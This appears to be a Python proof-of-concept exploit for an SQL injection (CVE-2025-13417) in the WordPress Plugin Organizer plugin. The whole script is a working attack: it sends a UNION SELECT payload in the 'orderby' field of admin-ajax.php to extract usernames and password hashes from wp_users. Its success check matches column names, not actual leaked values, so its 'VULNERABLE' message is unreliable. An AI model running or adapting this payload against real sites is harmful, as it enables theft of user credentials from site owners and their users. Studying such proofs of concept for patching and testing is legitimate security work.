import requests
import sys
# CVE-2025-13417 PoC - Plugin Organizer SQL Injection
# Target: WordPress site with Plugin Organizer < 10.2.4
target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'
# SQL Injection payload to extract user data
# The vulnerable parameter is used in SQL query without sanitization
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user_login,user_pass,13,14,15,16,17,18,19,20 FROM wp_users-- -"
# Vulnerable endpoint - plugin organizer ajax handler
url = f"{target}/wp-admin/admin-ajax.php"
data = {
'action': 'po_get_plugins',
'orderby': payload,
'order': 'ASC'
}
print(f"[*] Sending SQL Injection payload to {url}")
print(f"[*] Payload: {payload}")
try:
response = requests.post(url, data=data, timeout=10)
if response.status_code == 200:
print(f"[+] Request sent successfully")
print(f"[+] Response length: {len(response.text)} bytes")
# Check for SQL error or data leakage
if 'wp_users' in response.text or 'user_pass' in response.text:
print("[!] VULNERABLE - SQL injection successful, data extracted")
else:
print("[*] Response received, verify manually")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")